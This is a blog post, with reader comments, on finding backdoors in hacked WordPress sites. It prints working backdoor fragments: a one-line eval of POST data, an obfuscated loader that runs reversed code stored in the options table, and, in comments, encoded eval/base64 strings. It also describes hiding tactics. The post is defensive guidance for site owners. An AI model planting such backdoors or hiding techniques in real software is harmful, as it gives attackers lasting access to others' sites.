Originally posted here: http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/

Over here, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some minor back and forth on FriendFeed, I got him to do a search which found a malicious backdoor he might not otherwise have found.

In so doing, it occurred to me that most people don’t keep up with the world of WordPress in the way I do, and so have not seen nearly as many hack attempts. So I figured I’d post my little contribution, and show people how to find hidden backdoors when cleaning up their hacked sites.

Non-technical users can safely ignore this post. :)

What’s a backdoor? Well, when somebody gets into your site, the very first thing that happens is that a backdoor is uploaded and installed. These are designed to allow the hacker to regain access after you find and remove him. Done craftily, these backdoors will often survive an upgrade as well, meaning that you stay vulnerable forever, until you find and clean the site up.

However, let’s be clear here: After you get hacked, the ONLY way to be 100% secure is to restore the entire site to a period before you were hacked, and then upgrade and/or patch whatever hole the hacker used to gain entry. Manual cleanup of a site is risky, because you might miss something. It’s also time-consuming. But, if you don’t have regular backups, you may have no real choice.

First, the obvious stuff:

  • A backdoor is code that has been added to your site.
  • It will most likely be code not in the normal WordPress files. It could be in the theme, it could be in a plugin, it could be in the uploads directory.
  • It will be disguised to seem innocuous, or at least non threatening.
  • It will most likely involve additions to the database.

Let’s go over these individual points one at a time.

Added code

While it’s true that simple “backdoors” often take the form of hidden admin users, generally complex backdoor code is simpler than that. It simply gives the attacker the means to any PHP code they like, usually through the use of the eval command.

A simple example would be this:

eval($_POST['attacker_key']);

This, very simply, executes any PHP code sent to it from a browser.

Of course, they wouldn’t put this code just anywhere… It has to not be that easy to find, and it has to survive a normal WordPress upgrade.

How to hide code

First, we have to consider where we can put our malicious code. A WordPress upgrade deletes a lot of directories. There’s three obvious places:

1. Themes. Good plan, themes survive core updates. However, people tend to edit their themes a lot. Also theme names change around a fair amount, so doing this automatically is difficult.

2. Plugins. Plugins are a good place to hide code. People don’t generally look at them in detail, and many plugins have vulnerabilities of their own that might be exploitable. Some of them even keep some of their directories writable, meaning we can directly upload our backdoor code to there easily, after we gain access.

3. Uploads. Perfect. It’s explicitly designed to be writable. People don’t generally see what’s in the folders, since they’re just looking at the normal interface in WordPress. This is where something like 80% of backdoor codes get put.

The art of disguise

This one is easy.

Step 1: Pick a name that looks harmless.

wp-cache.old. email.bak. wp-content.old.tmp. Something you won’t think of. Remember, it doesn’t have to end with PHP just because it’s got PHP code in it.

Step 2: Hide the code itself.

Except in special circumstances, legitimate code will not use “eval”. But, it happens often enough to be generally considered not harmful in and of itself. So looking for “eval” is not a good way to find malicious code.

However, attackers need to disguise their attacks over the wire as well, to prevent hosts from blocking them. The easy and cheap way to do this is base64 encoding.

Base 64 encoding lets them disguise their commands to their hidden “eval” command to be just a random looking string of letters and numbers. This is usually enough to get by any server filtering. However, this does mean that their code will have one tale-tell thing in it: base64_decode.

Base64_decode (and the similar uudecode) are the main way to find malicious code used today. There’s almost never a good reason to use them. Note the “almost” there, many plugins (notably the venerable Google Sitemap Generator) use base64_decode in legitimate ways. So it’s not exactly a smoking gun, but it is highly questionable for some randomly named file lying around to have that inside it.

Smarter authors realize this, and so have taken steps to hide even that sign…

Database obfuscation

Here’s a bit of code I’ve seen around recently. This code does something really clever. Note that it was heavily obfuscated by including hundreds of line of randomness, hidden in /* PHP comments */. This is why having a text editor with code and syntax coloring can be very handy.

Note, this code was in a file named wp-cache.old in the wp-content/uploads directory. It was included at the end of the wp-config.php (also a file that usually does not get overwritten in an upgrade).

global $wpdb;
$trp_rss=$wpdb->get_var(
"SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'");
preg_match("!events or a cale\"\;s\:7\:\'(.*?)\'!is",$trp_rss,$trp_m);
$trp_f=create_function("",strrev($trp_m[1]));
$trp_f();
  1. It retrieves a value from the WordPress database.
  2. It pulls a specific section of that value out.
  3. It creates a function to run that value as PHP code.
  4. It runs that function.

Note how it cleverly avoids all the warning signs.

  • Nowhere does it use “eval”.
  • base64 is not visible at all.
  • The function named strrev is used. strrev reverses a string. So the code that it’s pulling out is reversed! So much for looking for “base64_decode”.

The actual value in the database looked like this:

...a bunch of junk here...J3byJXZ"(edoced_46esab(lave

Reverse that. What do you have? Why, it’s our old friends eval and base64_decode. Clever. Searching the files for these two warning signs would have uncovered nothing at all. Searching the database for same would have also shown nothing.

The key it used, BTW (rss_f541b3abd05e7962fcab37737f40fad8) is also designed to be nonthreatening. WordPress itself creates several similar looking keys as part of its RSS feed caching mechanism.

So, break down how this code works.

  1. The hacked wp-config.php code causes an include of a nondescript file, called wp-cache.old.
  2. That code, which does not use any trigger words, loads a nondescript value from the options table.
  3. It performs some string operations on that code, then executes it.
  4. The code in question was the rest of the hack, and did many different things, such as inserting spam links, etc.

Summary

This is the sort of thing you’re up against. If your site got hacked, then there exists a backdoor on your site. Guaranteed. I’ve never seen a hacked WordPress installation that was missing it. Sometimes there’s more than one. You have to check every file, look through every plugin, examine even the database data itself. Hackers will go to extreme lengths to hide their code from you.

And one more thing… before claiming that your WordPress got hacked even despite having the latest code, make sure that it wasn’t actually hacked already, before you put the latest code on there. If you don’t fully clean up after a hack, then you *stay* hacked. It’s not a new hack, it’s the same one.

The latest WordPress (as of this writing) has no known security holes. Claiming that it does when you don’t know that for sure is really not all that helpful. You’re placing the blame in the wrong place. The WordPress team makes the code secure as is possible, and is very fast on patching the security holes that are found, when they’re found. But they can’t patch code that made it onto your site from some other method, can they? Just something to keep in mind.

Shortlink:

84 Comments

  1. [...] to find a backdoor in a hacked WordPress Edit: This post has moved to here: http://ottopress.com/2009/hacked-wordpress-backdoors/. Take your comments [...]

  2. Thanks! for this post

  3. [...] Should one find evidence in WordPress, there are the options of looking for backdoors and eliminating them or cleaning the [...]

  4. [...] I did a bunch of googling on hacked WP sites and found a very useful article on “backdoors,” set up by hackers so that they can sneak back into my site even when I change my password. http://ottopress.com/2009/hacked-wordpress-backdoors/ [...]

  5. I just got hacked. For what it’s worth, I’m running the latest WP installation, and I’ve never run any other because I only went on self-hosted a couple months ago. Been trying to clean stuff out for 3 hours now, and it’s still hacked. Looking at the source for the front page I find this:


    I’ve deleted all the base64 stuff, so now I’m trying to find the bit of code that inserts the script into the page.

  6. I have not given the name of any of my websites since they were hacked, but are now up and running again.

    So why look for more trouble?

    The .htaccess file at the time of the hacking looked like this ..

    http://pastie.org/974309

    And I didn’t reload it after doing a restore of my site as it existed before the hacking.

    It looks suspicious to me, but I am not a programmer.

    What do you think about it?

    Thanks,

    Michael

    • I see nothing particularly dangerous there. Most of it is normal stuff, the super caching and the wordpress rules are verbatim. The stuff at the top is a security measure. You might want to check those service.pwd and service.grp files to see what’s in them, but everything else is fine.

      • Thanks very much.

        It was the code similar to blackberry and cellphone|danger that I was concerned about.

        BTW – my gmail account was hacked two days before my sites were hacked.

        My host info was in my gmail account.

        So, a lesson to be learned is “don’t keep your host info in an online email account!”.

        Michael

  7. I’ve been hacked and I found this:

    FROM `information_schema`.`PROCESSLIST`
    WHERE (
    `ID` LIKE ‘%(edoced_46esab(lave%’
    OR `USER` LIKE ‘%(edoced_46esab(lave%’
    OR `HOST` LIKE ‘%(edoced_46esab(lave%’
    OR `DB` LIKE ‘%(edoced_46esab(lave%’
    OR `COMMAND` LIKE ‘%(edoced_46esab(lave%’
    OR `TIME` LIKE ‘%(edoced_46esab(lave%’
    OR `STATE` LIKE ‘%(edoced_46esab(lave%’
    OR `INFO` LIKE ‘%(edoced_46esab(lave%’
    )
    LIMIT 0 , 30

    Is this a backdoor??

    • Yes, or part of one. I’d look really carefully at the site, because that is definitely evil code.

      Feel free to email me a copy of the relevant files, I’d like to see these sorts of hacks. Find ways to stop them.

      • i have the same garbage. can i delete this entry safely?

        SELECT *
        FROM `information_schema`.`PROCESSLIST`
        WHERE (
        `ID` LIKE ‘%clomid%’
        OR `USER` LIKE ‘%clomid%’
        OR `HOST` LIKE ‘%clomid%’
        OR `DB` LIKE ‘%clomid%’
        OR `COMMAND` LIKE ‘%clomid%’
        OR `TIME` LIKE ‘%clomid%’
        OR `STATE` LIKE ‘%clomid%’
        OR `INFO` LIKE ‘%clomid%’
        )
        LIMIT 0 , 30

  8. Hi, I was reading your post because I believe one of my blogs was hacked. I only say this because I came to my blog one day and there were two links in my sidebar to prescription drug sites that I absolutely did not put there. Two weeks before this happened I was locked out of my g-mail account. When I got back in there I saw evidence of spam e-mails sent out of my account containing links to prescription drug sites. A few weeks after that my Facebook site was compromised. Yes, everything was linked together, FB, Google, and my blog. Cripes.

    I don’t know much about coding but I looked at some of the files and I did find one of the plug ins has many references to base_64 and a get admin_email or some such thing. It is the Social Slider plugin. I don’t think it should be asking for my admin_email but what do I know. This coding could be totally innocent.

    I have scanned my computer and all of the logs are clean as far as malware and viruses are concerned.

    Would you be willing to look at the file I am referring to that contains the base_64 code? I would really appreciate it.

  9. i had found file forever.php in our website and it has got a following inside eval

    “\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x24\x6F\x29\x29\x29\x3B”

    can you guys tell me how this code can inject error to website

  10. Thanks for this! We were being hacked and couldn’t work out why. We were running a competition on our site which users could enter by uploading an image and it turns out we were allowing PHP files to be uploaded.

    I found this by logging into SSH on the server and running “find ./ -mtime -5″ which showed me all the files that had been modified in the last 5 days (our first attack was 5 days ago).

  11. [...] from do-it-yourself to complete export, removing, and restarting of your installation. “How to find a backdoor in a hacked WordPress” by Otto on WordPress and Perishable Press’ “Protect WordPress Against Malicious URL [...]

  12. I just posted this in the WP forum 30 minutes ago. I have been using your suggestions to try to figure out what happened. Is it possible that somehow the site/server was compromised by accepting this link? Given the age of the file (Oct 2009)I am concerned that there might be issues going forward. How does one delete/reinstall 13 different sites?

    I have tried to clean up a number of spam files on various sites since discovering that one of them was generating spam. As luck (and the alphabet) would have it I found a modified index file in my app-admin directory on the last site out of 13 on this server. The file was changed in Oct 2009, but nothing had happened until Dec 2009 when new files were written to the sites.
    I checked that site for posts in that month to see if I had uploaded something to a post, that might be corrupted. There was nothing but text in the posts, but I did notice that I had accepted a linkback request from someone in Oct 2009.
    When I clicked on the link to their site, it came up with a hacked message.
    I have implemented as many of the recommendations from Esmi, as I could so far (just 24 hrs into cleaning this up) in reply to my security concerns and that is how I found this malicious code.
    As always, many heartfelt thanks to one and all who do this support.
    My question, since this appears to have been a long hidden hack, is there anything more specific to this type of attack that can be implemented? Or just continue on being vigilant and searching for intrusions?

  13. [...] find a lot of exploits. But many backdoors are much more cleverly hidden. This entry was posted in Uncategorized. Bookmark the permalink. LikeBe the first to like [...]

  14. [...] been a lot of articles on this topic over the years (I even wrote one). But I’m going to tackle this from a different angle, one that I’m not used to: A [...]

  15. [...] If you are concerned I would recommend that you check out this link on How to find a backdoor in a hacked WordPress [...]

  16. [...] http://ottopress.com/2009/hacked-wordpress-backdoors/ Related Articles:Rev. Voodoo on "I was hacked big time"Ipstenu on "my page opens at [...]

  17. That was enlightening, I had no idea there were so many backdoor possibilities.

    Me the worst I was imagining until today was a file with a non-threatening name ending with .php and running eval code :(

    Thanks for the article !

  18. I have a message on every page of my site which links to an online bookseller. If I create a new page the message is still there. Can anyone point me in the direction of where to start looking for the cause of this please?

    I’m not a techie, but I understand some techie stuff!

    thanks

    Rob

  19. I just checked the main index.php file on one of my site’s WordPress installs because malware warnings were coming up when people visited our links.

    Right at the top plain as day was “eval(base64_decode” followed by a huge string of numbers and letters.

    I reinstalled WordPress and it disappeared, but if I’m reading this post right, there must still be a backdoor somewhere in the sites file, yeah? I’m trying to look through them but I’m not quite techie enough to figure out how to search the code of the files that aren’t plugins or themes… phpmyadmin only searches the database entries. Any tips? (I found the bad code using Dreamweaver of all things…)

  20. I have the same “eval(base64_decode” as Cecilia Tan. It runs on my index.php file inside the main wordpress folder and it also runs on the copy of that index.php in my site’s root folder.

    All the wordpress sites on my hosting account have been hacked. There are about 10 websites. I scanned my harddrive, deleted all ftp software, changed all passwords including my cpanel password, ftp, and wordpress passwords. I even deleted some of the websites and databases. But the code reappeared when I created brandnew databases and reuploaded the websites on fresh wp installs. (I reuploaded my themes folder).

    I’m sure this means that there’s a backdoor in my wp-content folder, possibly my themes folder. Only thing is, I can’t find it.

    The thing is, if I register a new domain in my hosting account and install wordpress (manually or via cpanel) I can guarantee I will have the same thing happen within 24 hours. I’ve done this a few times lately.

    What do I do?

    Thanks so much.
    Rob

    • Same problem here in the last week Rob. All my web sites (12), both WordPress and HTML hard coded got hacked with what is probably the same Bot.

      I identified the files that contained the “base64_decode” text and script, edited them using Filezilla, thought I had all but one site back up, and now they are all infected again.

      I purchased a new hosting account with a different company in October and haven’t yet transferred the domains across. This seems like a good time to do so, and hopefully I can salvage the many posts that I have written.

      This is so extremely frustrating and time consuming, and you can’t just fix things until you know exactly what is wrong, and how to prevent it from happening again.

      • I’ve experienced the same thing… I keep getting hacked with the “base64_decode”. I’ve cleaned up my blogs a couple of times now by reinstalling the wordpress files, but still getting hit. I’m considering changing hosts as well, any recommendations?

        I’ve started a brand new domain and set it up with WordPress, and a day later it’s hacked. I even have a domain on the host that doesn’t have wordpress on it, just a blank generic index.php that says nothing is on that domain, and it’s also been hacked. this makes me really think it’s the host that has a hole.

  21. So this is probably dodgy? My site was hacked by the Saudi Arabia hacker last night. This is in the wp-admin/css folder and is called system-in.php. Here is the first bit of the file. I’m thinking they got into my google account, and I have all my log ins and passwords in a shared file in google docs. Will remove it now :P)

    <?php // This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited.
    $OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=59080;eval((base64_decode('JE8wMDBPME8wMD1mb3BlbigkT09PME8wTzAwLCdyYicpO3doaWxlKC0

  22. hi,
    my wordpress site got hacked too, i don’t know how to repair it, because i’m not a programmer which can understand piece of coding. my site ramsite.info got hacked till now, and i cant resolve it even i reset my wp instalation.. :(

  23. Hi Otto,
    I have found a suspicious file that is a jquery.js file in the wp-includes/js folder and it contains a large array of numbers with none of the usual header comments about the author etc. The normal location for jquery.js is in the wp-includes/js/jquery

    My concern is that it seems to have been brought in by something like a plugin but I need to work out where it came from? I have not been able to find it in any of the plugin files downloaded and installed so I am assuming it has been generated by an installation. The puzzle is that we use WordPress File Monitor that logs all changed and added files, but there is no record of it being added. If it was generated by a plugin it should have shown on file monitor as an added file?

    I would appreciate any suggestions you have.
    Kind regards, Peter

  24. [...] WordPress : 6 stratégies pour rester serein10 WordPress security tips that could save your sitehttp://ottopress.com/2009/hacked-wordpress-backdoorshttp://wordpress.org/support/topic/wp-blog-hacked-ksa-userC’est comme les accidents de la [...]

  25. Cleaning a 3 GB space in my host is killing me, and i can not find the source of infection for 3 weeks. Damn. Thank you for the post, now i have few more places to look :)

  26. Is there a forum out there specifically for those whose WordPress blogs have been attacked? I have two blogs on two separate domains with completely different sets of passwords that have been attacked almost simultaneously for two years in a row. Ironically, both attacks occurred when I was involved in a major joint venture event–I don’t know if there is any connection to that or if it is just a coincidence. How common are these WordPress attacks? If you are successfully hacked once, do you get put on some kind of “vulnerable” blacklist by hackers? Just how easy is WordPress to hack into? I read on the NYT that it is quite easy for smartphones to get hacked–is it the same with WP? I just need someone to commiserate with.

  27. [...] a great article worth reading over on ottopress.com called How to find a backdoor in a hacked wordpress. I recommend reading it as it will help prime you with what to look for. I was able to find my [...]

  28. Hi, guys, while looking for ways to clean my hacked site i ended up here.

    My site runs WordPress 3.3.1 and the hack was very unusual, i usually just get a ‘your site has been hacked by some looser’ message and nothing works, but this time it was different, i was trying to add a blog page to an existing website and when i went to check the page it was hacked (in the usual fashion) but only that page, and actually not that page, the page that i choose to place the posts (the posts page) is what was hacked, i could put any page there and the hack would show up instead, but the pages themselves or the posts or the rest of the site looked and worked like usual, by that i mean fine.

    I did a scan with sucuri.net and found nothing wrong, so much for that

    Is there any other way to find the source of the infection ? i don’t have time to search through every line of every file, not that i know what to look for anyway

    I wont mention the site because i asked my hosting company to restore an older backup (that’s how i usually fix it)

    Also are there any security steps i could take? plugins ?

    Thanks

  29. HI all, all of you could use one very usefull tool called TextCrawler. you can crawl throgh all your files searching lets say base_64 string. Also it supports regex, so it’s even cooler. I use this after i download leaked WP themes, to test them, cause almost all of them are with trolls inside :D

  30. [...] there are lots of articles on how to clean up hacked wordpress FAQ My site was hacked How to find a backdoor in a hacked WordPress How To Completely Clean Your Hacked WordPress Installation | Smackdown! Reply With [...]

  31. great.. very great post! Now I found the culprit inside my wp-content/uploads folder! Haha!

  32. I love finding three year old posts that are still more on target than current info. Thanks this was exactly what happend this time, reversing the code for, as you put it, “… our old friends eval and base64_decode”

  33. [...] › Support 3. How To Completely Clean Your Hacked WordPress Installation | Smackdown! 4. How to find a backdoor in a hacked WordPress 5. Free WordPress Themes: Why You Should Never Search For Them on Google 6. WordPress – [...]

  34. [...] was hacked « WordPress Codex and How to completely clean your hacked wordpress installation and How to find a backdoor in a hacked WordPress and Hardening WordPress « WordPress Codex. Change all passwords. Scan your own [...]

  35. [...] This site will help you with ‘backdoor’ hacks but it will probably be too technical for many WP users. http://ottopress.com/2009/hacked-wordpress-backdoors/ [...]

  36. Hello guys! I need your help. Please. I have a back door.

    -I have share hosting in godaddy.
    -Before only my root site was getting effecting and i was deleting the code, or restoring, but now
    -all my sites got infected. In almost all php files end with this:

    Please help me! I don’t know what to do. I asked sucuri.net but they said they charge for all folders each. I have one kind of injection. I can’t pay for all. Any help is appreciated.

    One of the htaccess. I delete the injected code, and then I realized they got injected to other sites, too..

    Pleaseeeee… I’m dealing with these for the last 2-3 months, and don’t know what to do..

    Godaddy of course doesn’t help at all.. :(

    Thank you…

    Any suggestion??

  37. With the help of this post, I have exposed the NextGEN Gallery plugin as having a backdoor into my WP install. Checkout the plugin’s “admin.php” file; you’ll notice it pulls a bunch of data from a remote url and dumps it into a wp option in the database. It then creates users and blog posts in mass using combinations of the data received. A huge PITA since this was registering 400+ users daily. Thanks for the suggestions!

  38. [...] This has nothing to do with DNS resolution – and the above error is a somewhat generic one, however with the "eval" in there I'd bet that you've been hacked. Take a look here: http://ottopress.com/2009/hacked-wordpress-backdoors/ [...]

Leave a Reply

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Need to post PHP code? Wrap it in [php] and [/php] tags.